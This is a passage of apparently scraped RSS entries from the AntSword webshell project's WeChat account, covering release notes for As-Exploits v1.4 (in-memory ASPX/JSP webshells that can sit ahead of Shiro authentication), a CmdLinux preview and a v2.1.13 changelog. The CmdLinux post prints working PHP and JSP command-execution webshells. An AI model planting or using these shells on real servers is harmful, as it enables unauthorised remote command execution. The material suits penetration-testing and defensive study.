都用默认的系统浏览器打开：</span></p></li></ol><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-fileid="100000637" data-galleryid="" data-ratio="0.16952380952380952" data-s="300,640" style="height: auto !important;" data-type="png" data-w="1050" src="https://wechat2rss.xlab.app/img-proxy/?k=fc4d8b5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy29KhMZ0mWDRaiaWKnVnGnKicxvZkqLPu2YYPmrwb2cTN2FYXHyQOnZlOppHEjicc9wgHAm6ID8ydhZg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>值得注意的是，这种只针对 target=_blank 的情况，如果是href=javascript: 这种的，就挡住不了</p><p><br/></p><p>5. 修复的话，已经在文章发布前修复了，只不过没有发版本，直接同步代码就行了。如果你是http方式下载的，把 app.js替换了就行。</p><p><br/></p><p>过几天会发新版本。</p><p><br/></p><p>6. 欢迎更多的大佬可以参与到帮AntSword找漏洞的计划中来，蚁剑会因为你的细心变得更优秀。</p><p><br/></p><p>致敬每一位安全爱好者～</p>



<p><a href="2247484286">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d9231044&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484286%26idx%3D1%26sn%3Df569389bd243f531e0ec96e8771a057d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Oct 2021 17:51:00 +0800</pubDate>
    </item>
    <item>
      <title>As-Exploits v1.4更新</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484278&amp;idx=1&amp;sn=e431c424ce861b09ca04a7278ffcde96</link>
      <description>新增aspx内存马，jsp内存马增强，自定义脚本执行</description>
      <content:encoded><![CDATA[<p>
原创 <span>yzddMr6</span> <span>2021-07-25 15:37</span> <span style="display: inline-block;"></span>
</p>

<p>新增aspx内存马，jsp内存马增强，自定义脚本执行</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=949f5a96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJUQicWbOIWKKib1nXrqvjLVg9NKe1zbIzpH6g1oWibjlJTXDTgvOX3dnMA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">更新日志</h2><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">v 1.4 (2021/7/24)</h3><ul class="list-paddingleft-2" style="padding-left: 23px;"><li><p>aspx新增 内存马 模块</p></li><li><p>aspx新增 内存马管理 模块</p></li></ul><ul start="3" class="list-paddingleft-2" style="padding-left: 23px;"><li><p>jsp新增filter内存马</p></li><li><p>jsp内存马管理模块增强，支持filter、servlet（thx: tomcat-memshell-killer项目）</p></li></ul><ul start="5" class="list-paddingleft-2" style="padding-left: 23px;"><li><p>新增 执行自定义payload 模块</p></li><li><p>解决html渲染中文乱码</p></li></ul><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">JSP内存马模块增强</h2><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">filter内存马</h3><p style="min-height: 24px;">新增filter类型内存马。内存马会把自己放到filter的第一位，在遇到shiro框架的时候就不用填写登录Cookie了。</p><p style="min-height: 24px;">默认支持Tomcat以及Spring。</p><p style="min-height: 24px;"><img data-ratio="0.6281847133757962" width="628" data-type="png" data-w="1256" src="https://wechat2rss.xlab.app/img-proxy/?k=88610bf8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJ97xZxSaJXCwAlYrYIPica6tvNqFz1AxOKia2glU1RibOH2qvtS5Ue1ibCw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=e24a2c12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJiaAnZ5lCZAwI4u26glslIYGBA90BzjiaU6XS26ibBAMQjsFtovwfqNgZw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">内存马管理</h3><p style="min-height: 24px;">内存马管理模块核心payload移植了tomcat-memshell-killer的代码，是不是看起来更直观了？</p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=b5471e42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJib7h4RKbVzibGicyL0BcdibOclsoFP00uEib2YtjMAHoibYaRwbztrAEKiayA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">还可以贴心的判断有没有其他人的内存马</p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=83f375af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJOQ7jFcskZibIaPFBPQuUncpTbYUq5UeUQEFibO1LAPE3PEU6QLMK4YIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">卸载内存马填入Filter name即可</p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=d59c384a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJ5sssI9SfaZdSftqTiaOPuAC9SrT4OkLO0gPTcsiaibqfGNv0rGzMTjfnQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">ASPX内存马</h2><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">内存马注入</h3><p style="min-height: 24px;">aspx内存马的核心代码来源于ysoserial.net的GhostWebShell，三好学生的博客中也有提到。</p><p style="min-height: 24px;">主要原理是利用了asp.net下虚拟文件的特性：</p><p style="min-height: 24px;">通过ASP.NET的VirtualPathProvider类能够创建虚拟文件，实现以下效果：虚拟文件不存在于服务器的文件系统，但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;">可以直接定义要注入的shell内容，默认为普通一句话，当然也可以改成冰蝎哥斯拉之类的</p><p style="min-height: 24px;"><img data-ratio="0.5392231530845393" width="712" data-type="png" data-w="1313" src="https://wechat2rss.xlab.app/img-proxy/?k=e2bf75e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJKplF7I9kG0ocfN4XYeJ8oohNOYodqS0a85HkDDyhDzJNRyRPdH2VQw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;"><img data-ratio="0.7631578947368421" width="712" data-type="png" data-w="1064" src="https://wechat2rss.xlab.app/img-proxy/?k=436398a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJfQgWjfGE1D0GDgYdJsF3wuPA5sf0OTbic5C0LXANNjEdBeCtcA24FJw%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">连接的时候可以把注入的路径后面加点随机字符串，当作一个文件</p><p style="min-height: 24px;"><img data-ratio="0.5744897959183674" width="712" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=6bbf1a75&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJSUSS6hmErZ3GyFqYaaLPlqHG0v9nic9Xq8fgQJFknttZxibicSaEjh0lA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">也可以把注入的路径当作一个目录，在目录下面填写随机文件名</p><p style="min-height: 24px;">要注意的是必须要用.aspx结尾，因为映射的是一个文件，所以要用指定的后缀才能解析。</p><p style="min-height: 24px;">暂时不支持通配符模式</p><p style="min-height: 24px;"><img data-ratio="0.5704081632653061" width="712" data-type="png" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=e488766b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJu2BicDxKibWdyxaJiaJicZUpK19kzuiagACyY4grPX4Yn3n8pubgybbHAiaA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">内存马管理</h3><p style="min-height: 24px;"><span style="text-decoration: line-through;">内存马注入的payload大部分是抄的</span></p><p style="min-height: 24px;">内存马管理部分的payload主要是自己手搓的。研究一下发现VirtualPathProvider主要用到了类似单向链表的结构，不像Tomcat的内存马有一个Config去定义。获取所有组件需要遍历链表，卸载的时候需要修改当前指针指向来删除节点，梦回数据结构课堂。</p><p style="min-height: 24px;"><img data-ratio="0.7662582469368521" width="660" data-type="png" data-w="1061" src="https://wechat2rss.xlab.app/img-proxy/?k=267b9e88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJClExY3K3BdsJB3ia6laOBYDBTE17dGya5IicVkyiayeaXwRU9pJKEV69Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">卸载指定VPP</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img data-ratio="0.749534450651769" width="663" data-type="png" data-w="1074" src="https://wechat2rss.xlab.app/img-proxy/?k=97d0ea82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJhVbsB8CXtxLus1md24qh67uxkbITv9en31hLU3jwiaofGQD2g2pANqQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">再次获取组件发现内存马已经被删除。</p><p style="min-height: 24px;">剩下的这个System.Web.Hosting.MapPathBasedVirtualPathProvider是IIS默认组件，删除之后网站会崩，请慎重操作。</p><p style="min-height: 24px;"><img data-ratio="0.7612781954887218" width="709" data-type="png" data-w="1064" src="https://wechat2rss.xlab.app/img-proxy/?k=5be5a5b4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJHSaPSpBdtxlbicmzsZ3NS9tuh4R2icicLQr6d2icu4GqCjS5O0y3mPbR8A%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">自定义脚本执行</h2><p style="min-height: 24px;">这个功能主要是为了方便调试</p><p style="min-height: 24px;">在JSP下需要填写base64格式的编译后的class文件</p><p style="min-height: 24px;"><br/></p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=e9690b65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJTwqSs8lBBDxOP2mjqfrsibibOjQh5PDUfUxxKgeLebMJwpJMYb99hQaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">格式按照<a href="https://github.com/AntSwordProject/AntSword-JSP-Template项目去编写即可，这里以baseinfo为例：" target="_blank">https://github.com/AntSwordProject/AntSword-JSP-Template项目去编写即可，这里以baseinfo为例：</a></p><p style="min-height: 24px;"><img data-ratio="0.5364583333333334" width="960" data-type="png" data-w="1920" src="https://wechat2rss.xlab.app/img-proxy/?k=8c7b66f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJzq1zbMfqZ1vBzaqrTjibUic8ibrs1cbI6hqEWzXHeSmCKibPR5MlUiaiatSA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">aspx</h3><p style="min-height: 24px;">aspx下就直接写jscript代码即可</p><p style="min-height: 24px;">如果想要调用C#的payload看我博客这篇文章：<a href="https://yzddmr6.tk/posts/jscript-load-csharp-assembly/" target="_blank">https://yzddmr6.tk/posts/jscript-load-csharp-assembly/</a></p><p style="min-height: 24px;"><img data-ratio="0.7742238946378175" width="712" data-type="png" data-w="1063" src="https://wechat2rss.xlab.app/img-proxy/?k=f51df5cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJibJUsWjrbAmL3FUheuW8DGKxA2FwNbs4yBwc6thsZ4jq77a6FFVJ5dw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 5px;">php</h3><p style="min-height: 24px;">直接写php代码</p><p style="min-height: 24px;"><img data-ratio="0.765315739868049" width="712" data-type="png" data-w="1061" src="https://wechat2rss.xlab.app/img-proxy/?k=3ff94eee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy3PR5RnBdytLd8utfZTappJC1TTShADGL2QibSEia8XAQGmXX60oAhicJR36l0ZU67cGc1ib8uU1ZxQ9g%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 5px;">项目地址</h2><p style="min-height: 24px;"><a href="https://github.com/yzddmr6/As-Exploits" target="_blank">https://github.com/yzddmr6/As-Exploits</a></p><p style="min-height: 24px;">来颗star吧~</p>



<p><a href="2247484278">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e653ae4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484278%26idx%3D1%26sn%3De431c424ce861b09ca04a7278ffcde96%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 25 Jul 2021 15:37:00 +0800</pubDate>
    </item>
    <item>
      <title>AntSword新类型 CmdLinux 预览</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484254&amp;idx=1&amp;sn=51b8aba9472ffe4ebad7d5153d2d1c6b</link>
      <description>新类型 cmdlinux，直连命令执行WebShell</description>
      <content:encoded><![CDATA[<p>
原创 <span>Medicean</span> <span>2021-06-27 21:57</span> <span style="display: inline-block;"></span>
</p>

<p>新类型 cmdlinux，直连命令执行WebShell</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7c0311fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy2qoibibTiaeiclZ1xpWNl6iaauMhLUqbeg4JXYu9TEjpgicwop8NeeuyTEpevAotTBLA7DA6Pf3kqFbMMA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><br/></p><p style="white-space: normal;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: left;"><span style="font-size: 15px;">  平时见到的 Exp 大家都喜欢直接发命令执行的 Exp （没错我说的就是 struts2 全家桶）。一直以来，有个想法，<strong>能不能图形化管理命令执行的WebShell</strong>，于是他来了。</span></p><p style="white-space: normal;text-align: left;"><br/></p><p style="white-space: normal;text-align: left;"><br/></p><p style="white-space: normal;text-align: left;"><span style="font-size: 15px;">本来是要在下个版本更新的时候再发文章的，实在没忍住，提前发出来了。</span><br/></p><p style="white-space: normal;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: left;"><span style="font-size: 16px;"><strong>正文</strong></span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="font-size: 14px;">比如我们有这么一个 PHP 的 Shell:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span><span class="code-snippet__meta">&lt;?php</span> system($_POST[<span class="code-snippet__string">&#39;ant&#39;</span>]);<span class="code-snippet__meta">?&gt;</span></span></span></code></pre></section><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="font-size: 15px;">或者是这样一个再普通不过的 JSP WebShell</span><br/></p><p style="white-space: normal;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span>(request.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>)!=<span class="code-snippet__literal">null</span>){</span></code><code><span class="code-snippet_outer">    java.io.InputStream <span class="code-snippet__keyword">in</span> = Runtime.getRuntime().exec(<span class="code-snippet__keyword">new</span> String[]{<span class="code-snippet__string">&#34;/bin/sh&#34;</span>,<span class="code-snippet__string">&#34;-c&#34;</span>,request.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>)}).getInputStream();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> a = <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">out</span>.print(<span class="code-snippet__string">&#34;&lt;pre&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span>((a=<span class="code-snippet__keyword">in</span>.read(b))!=<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">out</span>.print(<span class="code-snippet__keyword">new</span> String(b));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">out</span>.print(<span class="code-snippet__string">&#34;&lt;/pre&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: left;"><strong><span style="font-size: 14px;">这里得提一嘴, JSP 下用 Runtime.exec 方法时，如果是直接传 Stirng 进去，只能执行一条命令，后面的内容都会当作参数来处理，所以我们在这里使用的是数组。并且在读取命令执行结果时，用 byte 数组的形式的话，得注意内容覆写的问题，别问我为什么这个 WebShell 是这么低效率的，我就是随便找了一个.</span></strong><br/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="font-size: 15px;">再或者是 Struts2 RCE 的 EXP, 或者是 Flask SSTI...</span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;text-align: center;"><strong><span style="font-size: 15px;"><span style="font-size: 14px;">只要有一个可以执</span><span style="font-size: 14px;">行命令的点, 就可以快乐起来 :)</span></span></strong></p><p><br/></p><p><video controls="" poster="https://wechat2rss.xlab.app/img-proxy/?k=5f031c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy2qoibibTiaeiclZ1xpWNl6iaauMnSMGeK42oPE1iaYkxbicxXd8E6ibG1JASibxeibLJibKU6TrgLoUx35YJoxw%2F0%3Fwx_fmt%3Djpeg" src="https://wechat2rss.xlab.app/video-proxy/?k=b6c10a62&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484254%26idx%3D1%26sn%3D51b8aba9472ffe4ebad7d5153d2d1c6b%26subscene%3D0&amp;v=wxv_1932693525532360706"></video></p><p><br/></p><p><br/></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p><br/></p><p><span style="font-size: 15px;text-align: left;">    </span><span style="font-size: 15px;text-align: left;">想要尝鲜的</span><span style="font-size: 15px;text-align: left;">小伙伴可以</span><span style="font-size: 15px;text-align: left;">切</span><span style="font-size: 15px;text-align: left;">换到 v2.1.x 开发分支体验</span><span style="font-size: 15px;text-align: left;">，欢迎大家反</span><span style="font-size: 15px;text-align: left;">馈</span><span style="font-size: 15px;text-align: left;"> </span><span style="font-size: 15px;text-align: left;">Bug</span><span style="font-size: 15px;text-align: left;">，</span><span style="font-size: 15px;text-align: left;">正式版将在下个月也可能是下下个月发布，如果到时候能把 Windows 下的也解决了就一起发布了</span><span style="font-size: 15px;text-align: left;">。</span></p><p><br/></p><p style="white-space: normal;"><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><img data-copyright="0" data-ratio="1" data-s="300,640" style="width: 198px;height: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p><br/></p><p><br/></p>



<p><a href="https://github.com/AntSwordProject/antSword/tree/v2.1.x">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=de44d760&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484254%26idx%3D1%26sn%3D51b8aba9472ffe4ebad7d5153d2d1c6b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 27 Jun 2021 21:57:00 +0800</pubDate>
    </item>
    <item>
      <title>AntSword v2.1.13更新日志</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484243&amp;idx=1&amp;sn=63d3b699f49cebba9a2b8ecb91100909</link>
      <description>给领导们汇报一下 v2.1.13 的更新情况，新增了一个新的JSP类型，更新了一波插件，修了一些Bug。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Medicean</span> <span>2021-06-19 13:57</span> <span style="display: inline-block;"></span>
</p>

<p>给领导们汇报一下 v2.1.13 的更新情况，新增了一个新的JSP类型，更新了一波插件，修了一些Bug。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a1dd0ca5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy1SoCBjC2icLwqXW8OgYic9icibFsbicOuG0Y6y3rUKNUSmzhXUscO9NMRmMcIGbepxNM67rGIyuCK2Muw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong><br/></p><p><br/></p><p><span style="font-size: 14px;">    给领导们汇报一下 v2.1.13 的更新情况，新增了一个新的JSP类型，更新了一波插件，修了一些Bug。</span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="font-size: 16px;"><strong>核心</strong></span></p><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="font-weight: bold;"><p style="text-align: left;"><span style="font-size: 14px;"><g-emoji alias="exclamation" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2757.png" style="box-sizing: border-box;font-family: &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;;font-size: 1.25em;line-height: 1;vertical-align: -0.075em;color: rgb(36, 41, 46);text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">❗️</g-emoji><g-emoji alias="exclamation" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2757.png" style="box-sizing: border-box;font-family: &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;;font-size: 1.25em;line-height: 1;vertical-align: -0.075em;color: rgb(36, 41, 46);text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">❗️</g-emoji><g-emoji alias="exclamation" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/2757.png" style="box-sizing: border-box;font-family: &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;;font-size: 1.25em;line-height: 1;vertical-align: -0.075em;color: rgb(36, 41, 46);text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">❗️</g-emoji><strong>新增 JSPJS Shell 类型 (Author: @yzddMr6)</strong></span></p></li></ul><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="67" data-source-title=""><section class="js_blockquote_digest"><section><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">基于 Java 内置的 JS 引擎来实现的 JSP 一句话类型, jdk &gt;= 6</span><br/></p><p style="text-align: left;"><span style="font-size: 14px;">相较于 jsp defineClass 实现，该方式的数据包大小明显小了不少</span></p></section></section></blockquote><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">设计思路请参考 Mr6 的文章</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">:</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"> 《</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">一种新型Java一句话木马的实现 》</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">(</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 